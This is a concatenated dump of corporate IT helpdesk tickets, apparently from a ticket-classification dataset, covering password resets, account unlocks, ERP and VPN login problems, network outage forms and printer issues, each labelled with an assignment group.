bitte die schreib / leseberechtigung fÃ¼r ordner m:\_scan\we47 einrichten.\_x000D\_
\_x000D\_
danke\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
freundliche grÃ¼ÃŸe / kind , is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to sign in to skype, Description: confirmed email address was typed into the userid field. as system was away from the phone called back on mobile:
pavan confirmed issue was resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm still no synchronize with erp, Description: still no synchronize with erp after repair to zip code see ticket\_no1530289.\_x000D\_
\_x000D\_
still showing an error see attached file. the zip code is now correct.\_x000D\_
\_x000D\_
for all user company in israel., is assigned to Assignment group: GRP\_40.Ticket with Short description: question on how to login to impact awards, Description: to login to impact awards: , is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock - lichtyuiwu7, Description: markhty leibdrty called to have the account unlocked. unlocked, confirmed he was able to login., is assigned to Assignment group: GRP\_34.Ticket with Short description: no erp and netweaver enterence\_please help aerp. , Description: \_x000D\_
\_x000D\_
received from: chbvyjqr.dqbwijvy@gmail.com\_x000D\_
\_x000D\_
colleagues, i can't enter to this programdntys, i need it immediately. please help aerp.\_x000D\_
\_x000D\_
please see below:\_x000D\_
\_x000D\_
[cid:image001.png@01d209b3.957897b0]\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.png@01d209b3.957897b0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: ferbfhyunam is not able to connect with telephony\_software interaction desktop, Description: error message: unable to log on for the following reason: 0 bytes read from network stream.
user: ferbfhyunam
workstation: ekmw8111163
see attached picture,, is assigned to Assignment group: GRP\_33.Ticket with Short description: erp net weaver doesnt work, error message: microsoft. net framdntyework 4.5 is not installed., Description: erp net weaver doesnt work, error message: microsoft. net framdntyework 4.5 is not installed., is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client - log on error - , Description: business\_client logon is not working and throwing error .. seems issue with my laptop and logon is working fine when tried in other system\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: power outage: south amerirtca: site hard down since at 01:23 am et on 08/09. no backup circuit., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_01:23 am et on 08/09\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_ global\_telecom\_1#332645226\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_yes\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: skype is not working , Description: skype is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: we need for all participants an access for the guest wifi system in-house. (see the attached excel spread sheet) 13.-14, Description: from: ylqvitsk bfnackrw \_x000D\_
sent: wednesday, september 07, 2016 4:45 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rakthyesh wg: cost center\_x000D\_
importance: high\_x000D\_
\_x000D\_
hello, \_x000D\_
\_x000D\_
we need for all participants an access for the guest wifi system in-house. (see the attached excel spread sheet)\_x000D\_
13.-14. sept 2016 \_x000D\_
\_x000D\_
time for access: 2 days \_x000D\_
location: company fÃ¼rth germany (room-7)\_x000D\_
event: "technical training metal cutting" \_x000D\_
\_x000D\_
the different names you will find in the attached excel-list \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: action required: please connect to the new vpn url before january 30, Description: from: vivbhuek kanjdye
sent: thursday, september 08, 2016 9:45 am
to: nwfodmhc exurcwkm
subject: re: action required: please connect to the new vpn url before january 30
hi
we are getting following message
system warnings
clear system warnings >>
no javascript is installed
warning: for full functionality, enable javascript in your browser. otherwise, some features, especially those related to web applications in new windows, may not work correctly.
cache cleaner is failed
warning: popup blockers can cause the cache cleaner to fail. if you use a popup blocker, you may see outdated pages and forms. for best functionality, disable your popup blocker.
policy restriction
access to network access resource company vpn has been denied by the policy engine.
the reason is:
â€¢ no anti-virus or anti-virus is not trusted
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cplant\_2404 depreciation issue, Description:
received from: bujiesrg.zopcrshl@gmail.com
dear ,
i find a gap between fs10n report and asset balance report (s\_alr\_98122075) in 5319
for cplant\_2404 cost center , we only add two rrc asset in jul, so the depreciation should be 16,922.2 rmb( 8,461.01+8,461.01=16,922.2) increase in aug.
but when i run fs10n find the depreciation only add 7,012.55rmb (60,195.23-53,182.68=7,012.55)
can you give me some idea about this?, is assigned to Assignment group: GRP\_10.Ticket with Short description: hsh, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
mr. hatryupsfshytd user id locked. please reset the password and send the new password to his manager mr. panghyiraj shthuihog <ebkfwhgt.flapokym@gmail.com>
emp no
name
useid
manager
200746709
aqihfoly xsrkthvf
hsh
panghyiraj shthuihog
fyi.
[cid:image001.png@01d209b2.81cadcb0]
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: è½¬å‘: è®¢å•å·ï¼š5212346451å¯ä»¥ç­¾å­—äº†, Description: \_x000D\_
\_x000D\_
received from: apacjun.zhang@company.com\_x000D\_
\_x000D\_
hello alex\_x000D\_
è¿™ä¸ªå¯ä»¥å¼€ç¥¨äº†ï¼Œå¤šè°¢ï¼\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_29.Ticket with Short description: can not login in erp SID\_1 for uacyltoe hxgayczeing, Description: attached the screen shot for the error information., is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: primary circuit company-eu-deu-koenigsee-mpls-2911-rtr01.company.com is down since 6:35 pm et, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_ 6:35 pm et on 9/7\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: node down - on lhqsm68267 , Description: node down - on lhqsm68267 , is assigned to Assignment group: GRP\_8.Ticket with Short description: erp access , Description:
received from: idkfgcnq.vjwhmzor@gmail.com
good afternoon,
can you please unlock my username for erp. i have been locked for too many log in attempts.
vyjmlain hvjbmdgi
senior technical service rep
inside-sales@company.com<mailto:inside-sales@company.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: it request, Description: \_x000D\_
\_x000D\_
received from: otmpauyr.ijztksal@gmail.com\_x000D\_
\_x000D\_
hello.\_x000D\_
my supervisor (ybuvlkjq nwcobvpl) has asked me to send an it request. i am able access documents in some folders on our h drive, but not all. i would like permission to access documents that are located in the quality control folder located at h:\quality control.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software phone issue, Description: \_x000D\_
\_x000D\_
received from: tjlgzkbp.iervwjzg@gmail.com\_x000D\_
\_x000D\_
hello it,\_x000D\_
\_x000D\_
yesterday i had the telephony\_software phone and system update done.\_x000D\_
today, i notice that it shows a 'yellow' phone icon showing that i am on the phone but i am not.\_x000D\_
i am not receiving calls.\_x000D\_
can you please assist quickly.\_x000D\_
, is assigned to Assignment group: GRP\_7.Ticket with Short description: job Job\_2063d failed in job\_scheduler at: 09/07/2016 16:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063d failed in job\_scheduler at: 09/07/2016 16:16:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: uninstall google chrome, Description: uninstall google chrome, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_38filesys failed in job\_scheduler at: 09/07/2016 15:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_38filesys failed in job\_scheduler at: 09/07/2016 15:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: 70124272 customer erp # no longer available in crm to create new opportstorage\_product, Description: i have 4 closed won opportunities for this customer and 3 active open opportunities for this customer. tried to create another opportstorage\_product for this customer and they are no longer on my list of available customers. when i try to put their name in the account/end user name field i get the statement "no records found" tried several other customers and they work, just not this one.\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: blank call gso // loud noise, Description: blank call gso // loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to network drives on vpn, Description: unable to connect to network drives on vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked on vpn page, Description: account locked on vpn page, is assigned to Assignment group: GRP\_0.Ticket with Short description: company email password not working, Description: company email password not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 // SID\_60 hana login, Description: name:stdezpqw bkmeuhfz
language:
browser:microsoft internet explorer
email:stdezpqw.bkmeuhfz@gmail.com
customer number:
telephone:=
summary:need access to erp hana SID\_60, is assigned to Assignment group: GRP\_0.Ticket with Short description: ie issue, Description: ie issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for iwtvrhnz rxiumhfk on erp / production / erp, Description: reset the password for iwtvrhnz rxiumhfk on erp / production / erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_857988, Description: ticket update on inplant\_857988, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to collaboration\_platform, Description: unable to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: please send expense report 2111137753 to qmglkaru qiwhfkdv for approval, Description: please manually send expense report 2111137753 to qmglkaru qiwhfkdv for approval, its stuck w/ pathuick thgheijmer due to reporting relationship changes. , is assigned to Assignment group: GRP\_10.Ticket with Short description: connection issue, Description: \_x000D\_
\_x000D\_
received from: riqmdnzs.mtlghwex@gmail.com\_x000D\_
\_x000D\_
dear team,\_x000D\_
\_x000D\_
please help to raise a ticket with network team as the user slkxgzdj wxpytevu working remotely in erp systems and he keep getting kicked out without able to continue his work\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_1201 plm server, Description: just to let someone now that the dsccache service isn't running on HostName\_1201, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to connect to dv28, dv06, and dv40, Description: unable to connect to dv28, dv06, and dv40, is assigned to Assignment group: GRP\_0.Ticket with Short description: unknown emails from miltgntyuon knighdjhtyt, Description: \_x000D\_
\_x000D\_
received from: zxobmreq.udikorhv@gmail.com\_x000D\_
\_x000D\_
i was going to forward 2 emails i received, but it gives me an alert message â€“ see attachments. if you need to connect with my terminal let me know. i moved them both to my delete box.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out, need to unlock, Description: account locked out, need to unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage : apac - china vpn circuit is down at 12:41 pm et on 09/07. site is up on mpls., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_12:41 pm et on 09/07\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: install analysis office 2.2 sp 03 in clrgtydia's pc since office version is 2016, Description: hello team,\_x000D\_
\_x000D\_
please install analysis office 2.2 sp 03 in clrgtydia's pc since office version is 2016 and set up hana SID\_60/ SID\_59 connections.\_x000D\_
\_x000D\_
at present, xawlkiey demjqrfl's pc has ao 1.4 which is not compatible with office 2016.\_x000D\_
\_x000D\_
issue is sev 2.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_9.Ticket with Short description: skype for business extend access to external partners, Description: \_x000D\_
\_x000D\_
received from: sbgvrncj.idfhtoqv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
please extend the skype for business access of przcxbml vnjdghui (a contractor) so that she is able to arrange conference calls with external company parties. she is working on a critical company payroll project for germany that involves significant external vendor contact so her skype permissions should be set the same as mine.\_x000D\_
many , is assigned to Assignment group: GRP\_26.Ticket with Short description: unable to change password on password\_management\_tool password manager, Description: unable to change password on password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: konto resetten, Description: konto resetten, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp & business\_client password reset request, Description: \_x000D\_
\_x000D\_
received from: svbymfiz.afqvyuwh@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
please help to reset my password for erp SID\_34 & business\_client\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset to hub, Description: password reset to hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp problem , Description: \_x000D\_
\_x000D\_
received from: bajrpckl.cevtiuob@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i am not able to see more than the below list in va35.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20941.19746b70]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: what's the meaning of this "warning message", Description:
received from: zywoxerf.paqxtrfk@gmail.com
dear help desk:
i'd like to know what's the meaning of the following "warning message" when i click on engineering tool and after login.
[cid:image001.jpg@01d208e8.d36cbf40]
x. jdamieul fandyhgg
phd, us patent agent
senior staff engineer
zywoxerf.paqxtrfk@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: name:mfeyouli ndobtzpw
language:
browser:microsoft internet explorer
email:mfeyouli.ndobtzpw@gmail.com
customer number:
telephone:
summary:please reset erp. SID\_34 for boivin, is assigned to Assignment group: GRP\_0.Ticket with Short description: constantly receiving "usb device not recognized" and i have to install my default printer driver after every reboot, Description: constantly receiving "usb device not recognized" and i have to install my default printer driver after every reboot (cl92), is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log on to distributor\_tool., Description: unable to log on to distributor\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software, Description: \_x000D\_
\_x000D\_
received from: cjsukemx.lqkcesuf@gmail.com\_x000D\_
\_x000D\_
please reset my supply\_chain\_software password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn query, Description: vpn query. user wanted to know if he can connect to vpn., is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot log into erp SID\_34 erp production with new password - need access , Description:
received from: yisohglr.uvteflgb@gmail.com
hi -
i recently changed my password and i tried to log into erp but i keep receiving a message that login is no longer possible and there are too many failed attempts (i only tried to log in one time). when i changed my password, i also received an error message that the password change failed - see attached.the new password works for all the other applications on my computer except for erp. i use erp on a daily basis and need to access SID\_34 erp production.
my user id is rubyfgty so please let me know if you can help with this issue.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch ethics., Description: unable to launch ethics. login credentials invalid error.
1. primary smtp address: from outlook address book - karghyuen.hasghyusan@company.com
2. new to company/ returned after resignation/account changed from temp to permanent? no
3. taken ethics before? received email from .ethics to take the ethics course? any organizational change? yes. my email address used to be htsnaodb.adjtmlzn@gmail.com starting in fy17, i was moved to company.
4. any name change / email address change? email address change. my email address used to be htsnaodb.adjtmlzn@gmail.com starting in fy17, i was moved to company.
5. any medial leave/leave of absence recently? no
, is assigned to Assignment group: GRP\_23.Ticket with Short description: also, the account needs to be given to davgtgyrh smgnhyleck., Description: bhghtyum,
i will need additional time, please do not delete this account on september 9th. also, the account needs to be given to davgtgyrh smgnhyleck.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: password locked out on erp SID\_34, Description: password locked out on erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not updating emails, Description: outlook not updating emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for inplant\_858062, Description: ticket update for inplant\_858062, is assigned to Assignment group: GRP\_0.Ticket with Short description: freigabe auf ordner fÃ¼r ytcxjzue guplftok (krafghyumec1) und zbijdqpg ehpjkwio (dinktyhed), Description: unter departments (\\HostName\_579) (m:) unter info/freigabe ordner beschichtung mit allen unterordnern , is assigned to Assignment group: GRP\_34.Ticket with Short description: change screensaver company to company, Description: please change my screensaver to company.\_x000D\_
pc name: ekql700085\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network problems (multiple applications are running slow) EU\_tool and downloads lists to vmsliazh ltksxmyv, Description: how did you determine there are network problems ? if i want ot download lists to vmsliazh ltksxmyv interrogates (questioning) time out is coming. the same with EU\_tool. if we want to print labels the same error is coming\_x000D\_
\_x000D\_
are more than one transactions impacted? \_x000D\_
\_x000D\_
what server are you on? vmsliazh ltksxmyv\_x000D\_
do other co-workers also notice slow response times in erp ? yes, we have problems too in our shipment department\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_59.Ticket with Short description: printer cl98, Description:
received from: azxhejvq.fyemlavd@gmail.com
good morning
i have made several attempts to print to printer cl98. i have also powered the device down then back up. and retried printing. no print but the printer drivers are refreshed.
had a colleague try and she had the same results
i deleted the printer cl98 from my pc and reinstalled it. it reinstalled as prtgn0022. when i printed to it the print came out successfully.
how can a printer be changed from cl98 to gn22 without notification? should this printer be known as gn22 or is this a error that requires further investigation?
mikhghytr wafglhdrhjop
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp-step interface programdnty not sending all ebom data to step, Description: erp-step interface programdnty is not generating idoc data for all ebom items. 5 examples below.\_x000D\_
mm#s 3313551 and 3313561 is not sending step all the ebom data. we are missing the ebom insert screw. also we have the same issue with missing ebom items (screws) for mm# 6235933, 6235934, 6235935.\_x000D\_
\_x000D\_
. erp data\_x000D\_
below is a list of the bom items for the materials in question. i do know that both ms2006 and ms2005 are material type raw material. i thought that you were able to show the data in the bom regardless of the material type, but that could be the issue. the ebom is showing what is on the drawings, and the ebom is created, so i'm not certain why the materials force didn't work. joe uses the same programdnty that i do to force product.\_x000D\_
\_x000D\_
material number ansi code position component material ansi of component \_x000D\_
6235933 krcscfpr061y 0010 2010829 ms2006 \_x000D\_
6235933 krcscfpr061y 0020 2010831 ms2005 \_x000D\_
6235933 krcscfpr061y 0030 2132602 ft7 \_x000D\_
6235933 krcscfpr061y 0040 2132604 ft8 \_x000D\_
6235934 krcscfpr062y 0010 2010829 ms2006 \_x000D\_
6235934 krcscfpr062y 0020 2010831 ms2005 \_x000D\_
6235934 krcscfpr062y 0030 2132602 ft7 \_x000D\_
6235934 krcscfpr062y 0040 2132604 ft8 \_x000D\_
6235935 krcscfpr063y 0010 2010829 ms2006 \_x000D\_
6235935 krcscfpr063y 0020 2010831 ms2005 \_x000D\_
6235935 krcscfpr063y 0030 2132602 ft7 \_x000D\_
6235935 krcscfpr063y 0040 2132604 ft8 \_x000D\_
\_x000D\_
step data\_x000D\_
bom\_0020 bom\_0030 bom\_0040\_x000D\_
3313551 krbb10scfpr06085c 2132602:ft7:torx wrench\_engineering\_tool \_x000D\_
3313561 krbb10scfpr06110c 2132602:ft7:torx wrench\_engineering\_tool \_x000D\_
6235933 krcscfpr061y 2132602:ft7:torx wrench\_engineering\_tool 2132604:ft8:torx wrench\_engineering\_tool\_x000D\_
6235934 krcscfpr062y 2132602:ft7:torx wrench\_engineering\_tool 2132604:ft8:torx wrench\_engineering\_tool\_x000D\_
6235935 krcscfpr063y 2132602:ft7:torx wrench\_engineering\_tool 2132604:ft8:torx wrench\_engineering\_tool\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_11.Ticket with Short description: need to configure printers tc47 and tc19, Description: need to configure printers tc47 and tc19, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for mafgtnik -0 using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: unable to extend the display on external monitor, Description: unable to extend the display on external monitor, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage :germany,germany-divestiture site vpn rtr 02 is down at 08:04 am et 09/07,site is up on vpn rtr 01., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_at 08:04 am et 09/07\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ---------------no------------(yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_na\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset passwords for cÃ©sar abreu rghkiriuytes using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: unable to launch netweaver, Description: unable to launch netweaver, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print from adobe, Description: unable to print from adobe, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meeting code/pin, Description: need ability to create skype meetings through outlook., is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool etime will not run after update ran last night, it asks for adobe flash which i tried to install several times, Description: immediate need, is assigned to Assignment group: GRP\_3.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/07/2016 07:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/07/2016 07:52:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: problleme mit EU\_tool \we212571 \bejvhsfx dmvsclhp, Description: problleme mit EU\_tool \we212571 \bejvhsfx dmvsclhp, is assigned to Assignment group: GRP\_24.Ticket with Short description: battery charging issue, Description: battery charging issue, is assigned to Assignment group: GRP\_19.Ticket with Short description: need vpn access, Description: need vpn access. new employee has a company laptop. emzlw800043, is assigned to Assignment group: GRP\_34.Ticket with Short description: reset passwords for reghythicsa purvis using password\_management\_tool password reset., Description: i just need to reset my password for the interaction desktop / telephony\_software. user name is pughjuvirl, is assigned to Assignment group: GRP\_7.Ticket with Short description: unlock account lichtyuiwu7, Description: unlock account lichtyuiwu7, is assigned to Assignment group: GRP\_0.Ticket with Short description: production order 'grade' is partially printed in hebrew., Description: EMEA: production order 'grade' is partially printed in hebrew. please see example attached. in en it is printed fully., is assigned to Assignment group: GRP\_20.Ticket with Short description: java issue, Description: unable to continue the java update, is assigned to Assignment group: GRP\_19.Ticket with Short description: printer problem / issue information, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? kd05 (ex hq50 â€“ wy98 - hp 8150) \_x000D\_
\_x000D\_
â€¢ detailed description of the problem ?can not install driver to use this printer.\_x000D\_
\_x000D\_
